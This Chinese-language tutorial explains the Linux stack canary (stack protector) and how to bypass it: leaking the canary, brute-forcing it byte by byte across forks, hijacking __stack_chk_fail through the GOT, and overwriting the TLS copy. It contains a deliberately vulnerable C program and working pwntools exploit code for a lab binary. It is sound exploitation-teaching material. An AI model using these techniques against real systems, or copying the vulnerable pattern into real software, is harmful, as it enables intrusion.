Canary¶
介绍¶
Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法(栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行(栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。
由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。
Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。
Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。
Canary 原理¶
在 GCC 中使用 Canary¶
可以在 GCC 中使用以下参数设置 Canary:
-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护 -fstack-protector-all 启用保护,为所有函数插入保护 -fstack-protector-strong -fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护 -fno-stack-protector 禁用保护
Canary 实现原理¶
开启 Canary 保护的 stack 结构大概如下:
High Address | | +-----------------+ | args | +-----------------+ | return address | +-----------------+ rbp => | old ebp | +-----------------+ rbp-8 => | canary value | +-----------------+ | local variables | Low | | Address
mov rax, qword ptr fs:[0x28] mov qword ptr [rbp - 8], rax
在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。
mov rdx,QWORD PTR [rbp-0x8] xor rdx,QWORD PTR fs:0x28 je 0x4005d7 <main+65> call 0x400460 <__stack_chk_fail@plt>
如果 Canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail
。__stack_chk_fail
也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,定义如下。
eglibc-2.19/debug/stack_chk_fail.c void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>"); }
这意味可以通过劫持 __stack_chk_fail
的 got 值劫持流程或者利用 __stack_chk_fail
泄漏内容(参见 stack smash)。
进一步,对于 Linux 来说,fs 寄存器实际指向的是当前栈的 TLS 结构,fs:0x28 指向的正是 stack_guard。
typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; uintptr_t sysinfo; uintptr_t stack_guard; ... } tcbhead_t;
事实上,TLS 中的值由函数 security_init 进行初始化。
static void security_init (void) { // _dl_random的值在进入这个函数的时候就已经由kernel写入. // glibc直接使用了_dl_random的值并没有给赋值 // 如果不采用这种模式, glibc也可以自己产生随机数 //将_dl_random的最后一个字节设置为0x0 uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random); // 设置Canary的值到TLS中 THREAD_SET_STACK_GUARD (stack_chk_guard); _dl_random = NULL; } //THREAD_SET_STACK_GUARD宏用于设置TLS #define THREAD_SET_STACK_GUARD(value) \ THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
Canary 绕过技术¶
序言¶
Canary 是一种十分有效的解决栈溢出问题的漏洞缓解措施。但是并不意味着 Canary 就能够阻止所有的栈溢出利用,在这里给出了常见的存在 Canary 的栈溢出利用思路,请注意每种方法都有特定的环境要求。
泄露栈中的 Canary¶
Canary 设计为以字节 \x00
结尾,本意是为了保证 Canary 可以截断字符串。
泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。
这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。
利用示例¶
存在漏洞的示例源代码如下:
// ex2.c #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> void getshell(void) { system("/bin/sh"); } void init() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void vuln() { char buf[100]; for(int i=0;i<2;i++){ read(0, buf, 0x200); printf(buf); } } int main(void) { init(); puts("Hello Hacker!"); vuln(); return 0; }
编译为 32bit 程序并关闭 PIE 保护 (默认开启 NX,ASLR,Canary 保护)
$ gcc -m32 -no-pie ex2.c -o ex2
首先通过覆盖 Canary 最后一个 \x00
字节来打印出 4 位的 Canary
之后,计算好偏移,将 Canary 填入到相应的溢出位置,实现 Ret 到 getshell 函数中
#!/usr/bin/env python from pwn import * context.binary = 'ex2' #context.log_level = 'debug' io = process('./ex2') get_shell = ELF("./ex2").sym["getshell"] io.recvuntil("Hello Hacker!\n") # leak Canary payload = "A"*100 io.sendline(payload) io.recvuntil("A"*100) Canary = u32(io.recv(4))-0xa log.info("Canary:"+hex(Canary)) # Bypass Canary payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell) io.send(payload) io.recv() io.interactive()
one-by-one 爆破 Canary¶
对于 Canary,虽然每次进程重启后的 Canary 不同(相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。 在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中,作者就是利用这样的方式爆破得到的 Canary: 这是爆破的 Python 代码:
print "[+] Brute forcing stack canary " start = len(p) stop = len(p)+8 while len(p) < stop: for i in xrange(0,256): res = send2server(p + chr(i)) if res != "": p = p + chr(i) #print "\t[+] Byte found 0x%02x" % i break if i == 255: print "[-] Exploit failed" sys.exit(-1) canary = p[stop:start-1:-1].encode("hex") print " [+] SSP value is 0x%s" % canary
劫持__stack_chk_fail函数¶
已知 Canary 失败的处理逻辑会进入到 __stack_chk_fail
ed 函数,__stack_chk_fail
ed 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。
参见 ZCTF2017 Login,利用方式是通过 fsb 漏洞篡改 __stack_chk_fail
的 GOT 表,再进行 ROP 利用
覆盖 TLS 中储存的 Canary 值¶
已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。
参见 StarCTF2018 babystack